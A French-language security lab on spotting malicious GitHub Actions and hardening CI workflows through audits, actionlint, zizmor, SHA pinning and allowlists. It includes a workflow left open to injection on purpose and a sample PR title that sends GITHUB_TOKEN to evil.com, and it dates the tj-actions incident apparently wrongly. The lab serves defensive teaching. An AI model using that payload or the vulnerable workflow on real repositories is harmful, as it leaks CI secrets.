Lab : Détection des GitHub Actions Malveillantes par Analyse Statique

Vue d’ensemble

Les GitHub Actions tierces sont l’une des fonctionnalités les plus pratiques de l’écosystème GitHub. Avec une simple directive uses:, vous pouvez intégrer une logique de build complexe, déployer sur des fournisseurs cloud ou exécuter des scanners de sécurité. Mais cette commodité implique un compromis critique : chaque action tierce exécute du code dans votre environnement CI avec accès à vos secrets, tokens et code source.

Une action compromise ou malveillante peut exfiltrer des identifiants, injecter du code dans vos artefacts de build, modifier des variables d’environnement pour altérer les étapes en aval, ou créer des portes dérobées dans vos releases. Contrairement aux dépendances gérées par des gestionnaires de paquets, les GitHub Actions ne disposent pas d’un écosystème de vérification robuste, ce qui en fait une cible privilégiée pour les attaques de la chaîne d’approvisionnement.

Dans ce lab pratique, vous apprendrez à :

  • Auditer manuellement les actions tierces pour détecter les comportements suspects
  • Utiliser actionlint pour détecter les erreurs de configuration et les vulnérabilités d’injection d’expression
  • Utiliser zizmor pour détecter les anti-patterns de sécurité spécifiques dans les workflows
  • Épingler les actions à des références SHA immuables et automatiser les mises à jour avec Dependabot
  • Appliquer une liste blanche d’actions pour empêcher les actions non autorisées d’entrer dans vos pipelines
  • Surveiller les modifications de workflows via CODEOWNERS et des vérifications automatisées de PR

À la fin de ce lab, vous disposerez d’une stratégie de défense en profondeur qui réduit le risque de compromission de la chaîne d’approvisionnement via les GitHub Actions.

Prérequis

Avant de commencer ce lab, assurez-vous de disposer de :

  • Un compte GitHub avec les permissions nécessaires pour créer des dépôts et configurer les Actions
  • Un dépôt de test — créez un nouveau dépôt ou utilisez un dépôt existant hors production avec au moins un workflow GitHub Actions
  • Git CLI installé et authentifié auprès de GitHub
  • Node.js 18+ (requis pour certains outils)
  • Python 3.9+ (pour installer zizmor)
  • GitHub CLI (gh) — installer depuis cli.github.com
  • Connaissances de base en GitHub Actions — vous devez comprendre la syntaxe YAML des workflows, les jobs, les steps et le mot-clé uses:

Créez un dépôt de test si vous n’en avez pas :

gh repo create actions-security-lab --public --clone
cd actions-security-lab
mkdir -p .github/workflows

Créez un fichier de workflow exemple à .github/workflows/ci.yml que nous utiliserons tout au long de ce lab :

name: CI Pipeline
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

permissions:
  contents: read

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
      - uses: actions/cache@v4
        with:
          path: ~/.npm
          key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}
      - run: npm ci
      - run: npm test

Comprendre la menace

Avant de commencer à scanner et auditer, il est important de comprendre comment les GitHub Actions deviennent des vecteurs d’attaque. Il existe plusieurs méthodes de compromission bien documentées :

Prise de contrôle du compte du mainteneur

Un attaquant obtient l’accès au compte GitHub d’un mainteneur d’action — par bourrage d’identifiants, hameçonnage ou détournement de session. Une fois le compte sous contrôle, il pousse du code malveillant dans le dépôt de l’action et met à jour les tags existants pour pointer vers le commit compromis. Chaque workflow référençant ce tag récupère immédiatement la version malveillante lors de son prochain lancement.

Mises à jour malveillantes de tags

Les tags Git sont mutables. Un mainteneur d’action (ou un attaquant ayant un accès en écriture) peut supprimer un tag comme v1 et le recréer en pointant vers un commit différent. Si votre workflow utilise uses: some-action/tool@v1, vous faites confiance au fait que le tag pointe toujours vers du code sûr. Cette confiance est facilement violée.

Typosquatting

Les attaquants créent des actions avec des noms similaires de manière confuse aux actions populaires. Par exemple :

  • actions/checkout (légitime) vs. action/checkout (typosquat)
  • actions/setup-node vs. actions/setup-nodejs
  • docker/build-push-action vs. docker/build-and-push-action

Une simple faute de frappe dans votre fichier YAML de workflow peut récupérer une action complètement différente et malveillante.

Détournement de dépendances

De nombreuses GitHub Actions sont basées sur JavaScript et possèdent leurs propres dépendances node_modules. Si une dépendance d’une action est compromise (via une attaque de la chaîne d’approvisionnement npm), l’action elle-même devient un vecteur — même si le propre code de l’action est propre.

Incidents réels

tj-actions/changed-files (mars 2023) : Des attaquants ont compromis l’action largement utilisée tj-actions/changed-files en obtenant l’accès au compte du mainteneur. Ils ont modifié l’action pour exfiltrer les secrets CI/CD en vidant la mémoire du runner et les variables d’environnement dans les logs du workflow. Des milliers de dépôts ont été affectés car ils référençaient des tags mutables plutôt que des SHA épinglés.

codecov/codecov-action (2021) : Le Bash Uploader de Codecov a été modifié par des attaquants qui ont obtenu l’accès via une image Docker compromise utilisée dans le processus CI de Codecov. Le script altéré exfiltrait les variables d’environnement — y compris les tokens CI, les clés API et les identifiants — depuis les environnements CI des clients. Cela a affecté un grand nombre d’organisations exécutant l’action Codecov dans leurs pipelines.

Ces incidents partagent un schéma commun : la confiance dans les références mutables. Les deux auraient pu être atténués en épinglant à des SHA immuables et en auditant le comportement des actions avant leur adoption.

Exercice 1 : Audit manuel des actions

Les outils automatisés sont essentiels, mais rien ne remplace la compréhension de ce que fait réellement une action. Dans cet exercice, vous allez auditer manuellement trois actions couramment utilisées pour développer vos réflexes de détection de patterns suspects.

Étape 1 : Sélectionner les actions à auditer

À partir du workflow exemple ci-dessus, nous allons auditer :

  1. actions/checkout@v4
  2. actions/setup-node@v4
  3. actions/cache@v4

Étape 2 : Examiner action.yml

Pour chaque action, commencez par examiner le fichier action.yml dans le dépôt de l’action. Ce fichier définit les entrées, les sorties et le point d’entrée de l’action.

# Cloner l'action pour l'inspecter localement
git clone --depth 1 https://github.com/actions/checkout.git /tmp/audit-checkout
cat /tmp/audit-checkout/action.yml

Éléments clés à rechercher dans action.yml :

  • Point d’entrée : S’agit-il d’une action node (exécute du JavaScript), composite (exécute des étapes) ou docker (exécute un conteneur) ? Chaque type a un profil de risque différent.
  • Entrées : L’action accepte-t-elle des entrées sensibles comme des tokens ou des identifiants ?
  • Post-action : Définit-elle un point d’entrée post: ? Les post-actions s’exécutent même si le job échoue, ce qui les rend idéales pour l’exfiltration.

Étape 3 : Inspecter le code source

Pour les actions JavaScript/TypeScript, examinez le fichier compilé dist/index.js et les sources dans src/ :

# Rechercher les appels réseau
grep -rn 'https\?://' /tmp/audit-checkout/src/ | grep -v 'github.com\|api.github.com'

# Rechercher les patterns d'accès aux secrets
grep -rn 'GITHUB_TOKEN\|process.env\|getInput' /tmp/audit-checkout/src/

# Rechercher les écritures de fichiers vers des emplacements sensibles
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' /tmp/audit-checkout/src/

# Rechercher les appels exec ou spawn
grep -rn 'exec\|spawn\|child_process' /tmp/audit-checkout/src/

Étape 4 : Liste de vérification des signaux d’alerte

Utilisez cette liste de vérification lors de l’audit de toute GitHub Action :

Signal d’alerte Ce qu’il faut rechercher Niveau de risque
Appels réseau vers des domaines inconnus fetch(), http.request(), curl vers des domaines non-GitHub Critique
Accès aux secrets Lecture de GITHUB_TOKEN, secrets.* ou des variables d’environnement Élevé
Manipulation de l’environnement Écriture dans GITHUB_ENV, GITHUB_OUTPUT ou GITHUB_PATH Élevé
Exécution de code dynamique eval(), exec(), téléchargement et exécution de scripts Critique
Code obfusqué Chaînes encodées en Base64, code minifié sans source maps Élevé
Hooks post-action Point d’entrée post: dans action.yml Moyen
Permissions excessives demandées La documentation demande des permissions write au-delà de ce qui est nécessaire Moyen
Pas de vérification ni de signature Action ne provenant pas d’un créateur vérifié, pas de signatures Sigstore Faible-Moyen

Étape 5 : Exemple d’audit — actions/checkout@v4

Voici un audit condensé de actions/checkout@v4 :

# Analyse de action.yml
# - Type : node20 (action JavaScript)
# - Entrées : Accepte l'entrée 'token' (par défaut github.token)
# - Post-action : Oui — exécute un nettoyage pour supprimer les identifiants

# Analyse réseau
# - Se connecte à : api.github.com (attendu pour les opérations git)
# - Pas de connexions vers des domaines tiers ✓

# Gestion des secrets
# - Utilise GITHUB_TOKEN pour le clone git authentifié
# - Le token est conservé dans la config git par défaut (entrée persist-credentials)
# - La post-action supprime les identifiants conservés

# Écritures d'environnement
# - N'écrit pas dans GITHUB_ENV ni GITHUB_PATH ✓

# Verdict : SÛR — le comportement correspond à l'objectif documenté
# Recommandation : Définir persist-credentials: false pour minimiser l'exposition du token

Appliquez ce même processus à chaque nouvelle action avant de l’ajouter à vos workflows.

Exercice 2 : Scanner les actions avec actionlint

actionlint est un outil d’analyse statique pour les fichiers de workflow GitHub Actions. Il détecte les erreurs de syntaxe, les incompatibilités de types et — point crucial pour notre propos — les vulnérabilités d’injection d’expression.

Étape 1 : Installer actionlint

# macOS
brew install actionlint

# Linux (télécharger le binaire)
curl -sL https://github.com/rhysd/actionlint/releases/latest/download/actionlint_linux_amd64.tar.gz | tar xz
sudo mv actionlint /usr/local/bin/

# Vérifier l'installation
actionlint --version

Étape 2 : Exécuter sur vos workflows

actionlint .github/workflows/*.yml

Pour notre workflow CI exemple, actionlint produira une sortie propre car nous avons suivi les bonnes pratiques. Introduisons un workflow vulnérable pour voir les capacités de détection de sécurité d’actionlint.

Étape 3 : Créer un workflow vulnérable

Créez .github/workflows/greet-pr.yml avec des vulnérabilités intentionnelles :

name: Greet PR
on:
  pull_request_target:
    types: [opened]

jobs:
  greet:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - name: Greet the contributor
        run: |
          echo "PR Title: ${{ github.event.pull_request.title }}"
          echo "PR Author: ${{ github.event.pull_request.user.login }}"
          echo "PR Body: ${{ github.event.pull_request.body }}"
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

      - name: Post comment
        run: |
          curl -X POST \
            -H "Authorization: token $GITHUB_TOKEN" \
            -H "Accept: application/vnd.github.v3+json" \
            https://api.github.com/repos/${{ github.repository }}/issues/${{ github.event.pull_request.number }}/comments \
            -d '{"body": "Welcome, ${{ github.event.pull_request.user.login }}! Thanks for your PR: ${{ github.event.pull_request.title }}"}'

Étape 4 : Scanner le workflow vulnérable

actionlint .github/workflows/greet-pr.yml

actionlint signalera les vulnérabilités d’injection d’expression :

.github/workflows/greet-pr.yml:14:27: expression injection: 
  "github.event.pull_request.title" is potentially untrusted. 
  Consider using an environment variable instead. 
  [expression]
.github/workflows/greet-pr.yml:16:25: expression injection: 
  "github.event.pull_request.body" is potentially untrusted. 
  Consider using an environment variable instead. 
  [expression]

Les champs title et body sont contrôlés par l’auteur de la PR. Un attaquant peut concevoir un titre de PR contenant des métacaractères shell pour exécuter des commandes arbitraires :

# Titre de PR malveillant :
Innocent Title"; curl -s https://evil.com/steal?token=$GITHUB_TOKEN; echo "

Lorsque ce titre est interpolé directement dans le bloc run: via ${{ }}, le shell exécute la commande injectée.

Étape 5 : Corriger la vulnérabilité

La correction consiste à passer les données non fiables via des variables d’environnement au lieu de l’interpolation directe :

name: Greet PR (Fixed)
on:
  pull_request_target:
    types: [opened]

jobs:
  greet:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - name: Greet the contributor
        run: |
          echo "PR Title: $PR_TITLE"
          echo "PR Author: $PR_AUTHOR"
          echo "PR Body: $PR_BODY"
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}
          PR_AUTHOR: ${{ github.event.pull_request.user.login }}
          PR_BODY: ${{ github.event.pull_request.body }}
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

      - name: Post comment
        uses: actions/github-script@v7
        with:
          script: |
            await github.rest.issues.createComment({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: context.payload.pull_request.number,
              body: `Welcome, ${context.payload.pull_request.user.login}! Thanks for your PR.`
            });

Les variables d’environnement sont transmises comme des données, et non interpolées dans des commandes shell, ce qui empêche l’injection. Relancez actionlint pour confirmer la correction :

actionlint .github/workflows/greet-pr-fixed.yml
# Pas de sortie = aucun problème trouvé

Exercice 3 : Scanner avec zizmor

zizmor est un outil d’analyse statique axé sur la sécurité, spécifiquement conçu pour les GitHub Actions. Alors qu’actionlint se concentre sur la conformité avec quelques vérifications de sécurité, zizmor se concentre exclusivement sur les anti-patterns de sécurité.

Étape 1 : Installer zizmor

# Installation via pip
pip install zizmor

# Ou via pipx pour l'isolation
pipx install zizmor

# Vérifier l'installation
zizmor --version

Étape 2 : Exécuter sur vos workflows

zizmor .github/workflows/

zizmor analyse les workflows pour un ensemble complet de problèmes de sécurité. Sur notre ci.yml exemple, il signalera :

ci.yml:15:9 warning[unpinned-uses]: unpinned 3rd-party action reference
  |
15|       - uses: actions/checkout@v4
  |         ^^^^ action not pinned to a full-length commit SHA
  |
  = note: Pinning actions to a full SHA protects against tag mutation attacks

ci.yml:17:9 warning[unpinned-uses]: unpinned 3rd-party action reference
  |
17|       - uses: actions/setup-node@v4
  |         ^^^^ action not pinned to a full-length commit SHA

ci.yml:20:9 warning[unpinned-uses]: unpinned 3rd-party action reference
  |
20|       - uses: actions/cache@v4
  |         ^^^^ action not pinned to a full-length commit SHA

Étape 3 : Scanner le workflow vulnérable

zizmor .github/workflows/greet-pr.yml

zizmor produira des résultats de sécurité plus riches :

greet-pr.yml:4:5 warning[dangerous-trigger]: use of dangerous trigger
  |
4 |   pull_request_target:
  |   ^^^^^^^^^^^^^^^^^^^^ pull_request_target runs in the context of the base branch
  |
  = note: This trigger has access to repository secrets and a read-write token

greet-pr.yml:14:27 error[template-injection]: template injection in run: block
  |
14|          echo "PR Title: ${{ github.event.pull_request.title }}"
  |                          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  |
  = note: Attacker-controlled input is interpolated directly into a shell command

greet-pr.yml:15:9 warning[unpinned-uses]: no actions pinned by SHA
  |
  = note: All third-party actions should be pinned to full commit SHAs

greet-pr.yml:12:5 warning[excessive-permissions]: permissions may be overly broad
  |
  = note: Consider using read-only permissions where possible

Étape 4 : Comparer actionlint et zizmor

Fonctionnalité actionlint zizmor
Objectif principal Conformité et syntaxe Analyse de sécurité
Injection d’expression Oui Oui (plus complet)
Actions non épinglées Non Oui
Déclencheurs dangereux Non Oui
Permissions excessives Non Oui
Empoisonnement d’artefacts Non Oui
Mauvaise configuration OIDC Non Oui
Vérification de types Oui Non
Syntaxe obsolète Oui Non

Recommandation : Utilisez les deux outils ensemble. actionlint détecte les problèmes de conformité et les patterns d’injection de base ; zizmor fournit une analyse de sécurité plus approfondie. Ajoutez les deux à votre pipeline CI :

name: Workflow Security Scan
on:
  pull_request:
    paths:
      - '.github/workflows/**'

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
      - name: Run actionlint
        run: |
          brew install actionlint
          actionlint .github/workflows/*.yml
      - name: Run zizmor
        run: |
          pip install zizmor
          zizmor .github/workflows/

Exercice 4 : Épinglage et vérification de l’intégrité des actions

Les références basées sur des tags comme @v4 sont mutables — le tag peut être déplacé pour pointer vers n’importe quel commit à tout moment. Les épinglages basés sur des SHA sont immuables et fournissent une assurance cryptographique que vous exécutez exactement le code que vous avez examiné.

Étape 1 : Résoudre les SHA de vos actions

Utilisez le GitHub CLI pour résoudre le SHA actuel de chaque tag d’action :

# Résoudre actions/checkout@v4
gh api repos/actions/checkout/git/ref/tags/v4 --jq '.object.sha'
# Sortie : b4ffde65f46336ab88eb53be808477a3936bae11

# Résoudre actions/setup-node@v4
gh api repos/actions/setup-node/git/ref/tags/v4 --jq '.object.sha'
# Sortie : 60edb5dd545a775178f52524783378180af0d1f8

# Résoudre actions/cache@v4
gh api repos/actions/cache/git/ref/tags/v4 --jq '.object.sha'
# Sortie : 0c45773b623bea8c8e75f6c82b208c3cf94d9d67

Important : Certains tags pointent vers des objets tag annotés plutôt que directement vers des commits. Dans ce cas, vous devez déréférencer le tag :

# Si la commande ci-dessus retourne un objet de type 'tag', déréférencez-le :
gh api repos/actions/checkout/git/ref/tags/v4 --jq '.object' 
# Si le type est "tag", récupérez le commit sous-jacent :
gh api repos/actions/checkout/git/tags/TAG_SHA --jq '.object.sha'

Étape 2 : Mettre à jour votre workflow

Remplacez les références de tags par des épinglages SHA. Ajoutez toujours un commentaire avec le tag original pour la lisibilité :

steps:
  - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
  - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4
    with:
      node-version: '20'
  - uses: actions/cache@0c45773b623bea8c8e75f6c82b208c3cf94d9d67 # v4
    with:
      path: ~/.npm
      key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}

Étape 3 : Vérifier les signatures Sigstore (lorsque disponibles)

Certains éditeurs d’actions signent leurs releases avec Sigstore. Vous pouvez vérifier ces signatures :

# Installer cosign
brew install cosign

# Vérifier une release d'action signée (si l'éditeur la signe)
cosign verify-blob \
  --certificate-identity "https://github.com/actions/checkout/.github/workflows/release.yml@refs/tags/v4" \
  --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
  --bundle checkout-v4.sigstore.json \
  checkout-v4.tar.gz

Toutes les actions ne publient pas encore de signatures Sigstore, mais c’est une bonne pratique émergente.

Étape 4 : Configurer Dependabot pour les mises à jour automatiques de SHA

L’épinglage aux SHA signifie que vous ne recevrez pas automatiquement les mises à jour. Utilisez Dependabot pour automatiser cela tout en maintenant l’immuabilité :

Créez .github/dependabot.yml :

version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"
      day: "monday"
    open-pull-requests-limit: 10
    labels:
      - "dependencies"
      - "github-actions"
    reviewers:
      - "your-security-team"
    commit-message:
      prefix: "chore(deps)"

Lorsqu’une nouvelle version d’une action est publiée, Dependabot créera une PR qui met à jour l’épinglage SHA :

# Exemple de diff de PR Dependabot :
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
+ uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.2

Cela vous offre le meilleur des deux mondes : des références immuables avec des mises à jour automatisées qui passent par votre processus normal de revue de PR.

Exercice 5 : Application d’une liste blanche d’actions

Même avec l’épinglage et le scanning, vous avez besoin d’un mécanisme pour empêcher les actions non approuvées d’être ajoutées aux workflows. Une liste blanche garantit que seules les actions vérifiées peuvent être utilisées.

Option A : GitHub Enterprise — Liste blanche au niveau de l’organisation

Si vous utilisez GitHub Enterprise, vous pouvez restreindre les actions au niveau de l’organisation :

  1. Accédez aux Paramètres de l’organisation
  2. Naviguez vers Actions → Général
  3. Sous Politiques, sélectionnez Autoriser les actions et les workflows réutilisables sélectionnés
  4. Ajoutez les actions approuvées : actions/checkout@*, actions/setup-node@*, etc.

C’est l’application la plus forte car GitHub lui-même rejettera les exécutions de workflow qui utilisent des actions non autorisées.

Option B : Vérification de la liste blanche basée sur le CI

Pour les organisations sans GitHub Enterprise, vous pouvez créer un mécanisme d’application basé sur le CI.

Étape 1 : Créer la liste blanche.

Créez allowed-actions.txt à la racine de votre dépôt :

# GitHub Actions approuvées
# Format : owner/repo
# Les lignes commençant par # sont des commentaires

# Actions officielles GitHub
actions/checkout
actions/setup-node
actions/cache
actions/upload-artifact
actions/download-artifact
actions/github-script

# Scanning de sécurité
github/codeql-action

# Tiers approuvés
docker/build-push-action
docker/login-action

Étape 2 : Créer le script de validation.

Créez scripts/check-actions.sh :

#!/bin/bash
set -euo pipefail

ALLOWLIST="allowed-actions.txt"
WORKFLOW_DIR=".github/workflows"
FAILED=0

if [[ ! -f "$ALLOWLIST" ]]; then
  echo "ERROR: Allowlist file not found: $ALLOWLIST"
  exit 1
fi

# Extraire toutes les références 'uses:' des fichiers de workflow
echo "Analyse des fichiers de workflow pour les références d'actions..."
echo "================================================"

for workflow in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
  [[ -f "$workflow" ]] || continue
  
  echo ""
  echo "Vérification : $workflow"
  
  # Extraire les références d'actions (owner/repo depuis uses: owner/repo@ref)
  actions=$(grep -oP 'uses:\s+\K[^@\s]+' "$workflow" | \
    grep '/' | \
    grep -v '^\.\./\|^docker://' | \
    sort -u)
  
  for action in $actions; do
    if grep -qx "$action" "$ALLOWLIST"; then
      echo "  ✓ $action (approuvée)"
    else
      echo "  ✗ $action (PAS DANS LA LISTE BLANCHE)"
      FAILED=1
    fi
  done
done

echo ""
echo "================================================"
if [[ $FAILED -eq 1 ]]; then
  echo "ÉCHEC : Actions non approuvées détectées !"
  echo "Pour approuver une nouvelle action, ajoutez-la à $ALLOWLIST et obtenez la revue de l'équipe sécurité."
  exit 1
else
  echo "RÉUSSI : Toutes les actions sont approuvées."
fi

Rendez le script exécutable :

chmod +x scripts/check-actions.sh

Étape 3 : Créer le workflow d’application.

Créez .github/workflows/check-actions.yml :

name: Action Allowlist Check
on:
  pull_request:
    paths:
      - '.github/workflows/**'
      - 'allowed-actions.txt'

permissions:
  contents: read

jobs:
  check-actions:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4

      - name: Check actions against allowlist
        run: ./scripts/check-actions.sh

Étape 4 : Tester l’application.

Ajoutez une action non approuvée à un workflow dans une branche et ouvrez une PR :

# Dans une nouvelle branche, ajoutez une action non approuvée
git checkout -b test-unapproved-action

# Ajoutez une action non approuvée à ci.yml
# ex., uses: some-unknown/action@v1

git add .github/workflows/ci.yml
git commit -m "test: add unapproved action"
git push origin test-unapproved-action
# Ouvrez une PR → le job check-actions échouera

La sortie affichera :

Vérification : .github/workflows/ci.yml
  ✓ actions/checkout (approuvée)
  ✓ actions/setup-node (approuvée)
  ✓ actions/cache (approuvée)
  ✗ some-unknown/action (PAS DANS LA LISTE BLANCHE)

================================================
ÉCHEC : Actions non approuvées détectées !
Pour approuver une nouvelle action, ajoutez-la à allowed-actions.txt et obtenez la revue de l'équipe sécurité.

Faites de cette vérification un contrôle de statut requis dans vos règles de protection de branche pour appliquer la liste blanche sur toutes les PR.

Exercice 6 : Surveillance des modifications d’actions

Même avec des listes blanches et l’épinglage, vous avez besoin de visibilité sur les modifications des fichiers de workflow. Cet exercice met en place des mécanismes de surveillance et d’alerte.

Étape 1 : Configurer CODEOWNERS

Créez .github/CODEOWNERS pour exiger la revue de l’équipe sécurité pour les modifications de workflow :

# Exiger la revue de l'équipe sécurité pour toutes les modifications de workflow
.github/workflows/ @your-org/security-team
.github/actions/    @your-org/security-team
allowed-actions.txt @your-org/security-team
.github/dependabot.yml @your-org/security-team

Activez la règle de protection de branche « Exiger la revue des propriétaires de code » pour appliquer cela.

Étape 2 : Créer un rapporteur de modifications de workflow

Créez un workflow qui commente automatiquement les PR avec un résumé des modifications d’actions :

name: Workflow Change Report
on:
  pull_request:
    paths:
      - '.github/workflows/**'

permissions:
  contents: read
  pull-requests: write

jobs:
  report:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
        with:
          fetch-depth: 0

      - name: Generate action change report
        id: report
        run: |
          BASE=${{ github.event.pull_request.base.sha }}
          HEAD=${{ github.event.pull_request.head.sha }}

          echo "## Rapport de modifications de workflow" > /tmp/report.md
          echo "" >> /tmp/report.md

          # Trouver les fichiers de workflow modifiés
          CHANGED_FILES=$(git diff --name-only "$BASE".."$HEAD" -- .github/workflows/)

          if [[ -z "$CHANGED_FILES" ]]; then
            echo "Aucun fichier de workflow modifié." >> /tmp/report.md
            exit 0
          fi

          echo "### Fichiers modifiés" >> /tmp/report.md
          for file in $CHANGED_FILES; do
            echo "- \`$file\`" >> /tmp/report.md
          done
          echo "" >> /tmp/report.md

          # Extraire les modifications d'actions
          echo "### Modifications des références d'actions" >> /tmp/report.md
          echo '```diff' >> /tmp/report.md
          git diff "$BASE".."$HEAD" -- .github/workflows/ | \
            grep -E '^[+-].*uses:' | \
            grep -v '^[+-]{3}' >> /tmp/report.md || true
          echo '```' >> /tmp/report.md
          echo "" >> /tmp/report.md
          echo "⚠️ **Revue de l'équipe sécurité requise pour les modifications de workflow.**" >> /tmp/report.md

      - name: Comment on PR
        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7
        with:
          script: |
            const fs = require('fs');
            const report = fs.readFileSync('/tmp/report.md', 'utf8');
            await github.rest.issues.createComment({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: context.issue.number,
              body: report
            });

Étape 3 : Exploiter les alertes de sécurité Dependabot

Dependabot signale automatiquement les vulnérabilités connues dans les GitHub Actions. Assurez-vous que cela est activé :

  1. Accédez à Paramètres du dépôt → Sécurité du code et analyse
  2. Activez les alertes Dependabot
  3. Activez les mises à jour de sécurité Dependabot

Lorsqu’une action épinglée présente une vulnérabilité connue, Dependabot créera une PR de mise à jour de sécurité. Puisque vous êtes épinglé à des SHA, le diff montre clairement les anciens et nouveaux hachages de commit, facilitant la revue de ce qui a exactement changé.

Étape 4 : Surveillance du journal d’audit (GitHub Enterprise)

Pour les organisations utilisant GitHub Enterprise, activez le streaming du journal d’audit pour détecter les modifications de workflow :

# Interroger le journal d'audit pour les modifications de fichiers de workflow
gh api orgs/YOUR_ORG/audit-log \
  --method GET \
  -f phrase='action:workflows' \
  -f per_page=50 \
  --jq '.[] | {actor: .actor, action: .action, repo: .repo, created_at: .created_at}'

Construire une stratégie de défense

Toutes les organisations n’ont pas besoin de chaque contrôle. Voici une approche par niveaux basée sur vos exigences de sécurité :

Niveau 1 : Minimum (Toutes les organisations)

  • Épingler toutes les actions aux hachages SHA complets — empêche les attaques par mutation de tags
  • Activer Dependabot pour github-actions — automatise les mises à jour de SHA
  • Définir les permissions minimales — utiliser permissions: au niveau du workflow et du job

Effort : Faible. Impact : Bloque le vecteur d’attaque le plus courant (tags mutables).

Niveau 2 : Recommandé (La plupart des organisations)

Tout ce qui figure dans le Niveau 1, plus :

  • Exécuter actionlint et zizmor dans le CI — détecte les vulnérabilités d’injection et les mauvaises configurations de sécurité avant leur fusion
  • Configurer CODEOWNERS pour les fichiers de workflow — garantit que l’équipe sécurité revoit toutes les modifications de workflow
  • Activer les règles de protection de branche — exiger les vérifications de statut et les revues des propriétaires de code

Effort : Moyen. Impact : Détecte les vulnérabilités pendant le développement et assure la revue.

Niveau 3 : Haute sécurité (Industries réglementées, cibles à haute valeur)

Tout ce qui figure dans le Niveau 2, plus :

  • Appliquer une liste blanche d’actions — seules les actions pré-approuvées peuvent être utilisées
  • Audit de sécurité manuel pour chaque nouvelle action — revue complète du code avant l’ajout à la liste blanche
  • Forker les actions critiques en interne — maintenir vos propres copies des actions essentielles pour éliminer les dépendances externes
  • Rapport automatisé des modifications de workflow — commentaires de PR résumant toutes les modifications d’actions
  • Surveillance du journal d’audit — alertes en temps réel sur les modifications de workflow

Effort : Élevé. Impact : Défense complète contre les attaques de la chaîne d’approvisionnement via les Actions.

Nettoyage

Après avoir terminé le lab, nettoyez toutes les ressources de test :

# Supprimer le dépôt de test si vous en avez créé un
gh repo delete actions-security-lab --yes

# Supprimer les répertoires d'audit clonés
rm -rf /tmp/audit-checkout /tmp/audit-setup-node /tmp/audit-cache

# Désinstaller les outils si plus nécessaires
# brew uninstall actionlint
# pip uninstall zizmor

Si vous avez utilisé votre propre dépôt, annulez les workflows de test vulnérables :

git checkout main
git branch -D test-unapproved-action
rm -f .github/workflows/greet-pr.yml

Points clés à retenir

  • Les GitHub Actions tierces constituent un risque pour la chaîne d’approvisionnement. Chaque directive uses: exécute du code externe dans votre environnement CI avec accès à vos secrets et tokens.
  • Les tags mutables sont la cause principale de la plupart des compromissions d’actions. L’épinglage aux hachages SHA complets élimine les attaques par mutation de tags, le vecteur d’exploitation le plus courant.
  • L’injection d’expression est la vulnérabilité de workflow la plus répandue. N’interpolez jamais des données non fiables (titres de PR, noms de branches, messages de commit) directement dans les blocs run: — utilisez toujours des variables d’environnement.
  • Le scanning automatisé avec actionlint et zizmor détecte ce que la revue manuelle manque. Utilisez les deux outils dans votre pipeline CI — actionlint pour la conformité et la sécurité de base, zizmor pour une analyse de sécurité approfondie.
  • La défense en profondeur est essentielle. Aucun contrôle unique n’est suffisant. Combinez l’épinglage, le scanning, les listes blanches, CODEOWNERS et la surveillance pour une protection complète.
  • Traitez les fichiers de workflow comme du code de production. Ils méritent les mêmes processus de revue, de test et de gestion des changements que votre code applicatif.

Prochaines étapes

Continuez à développer vos connaissances en sécurité CI/CD avec ces guides connexes :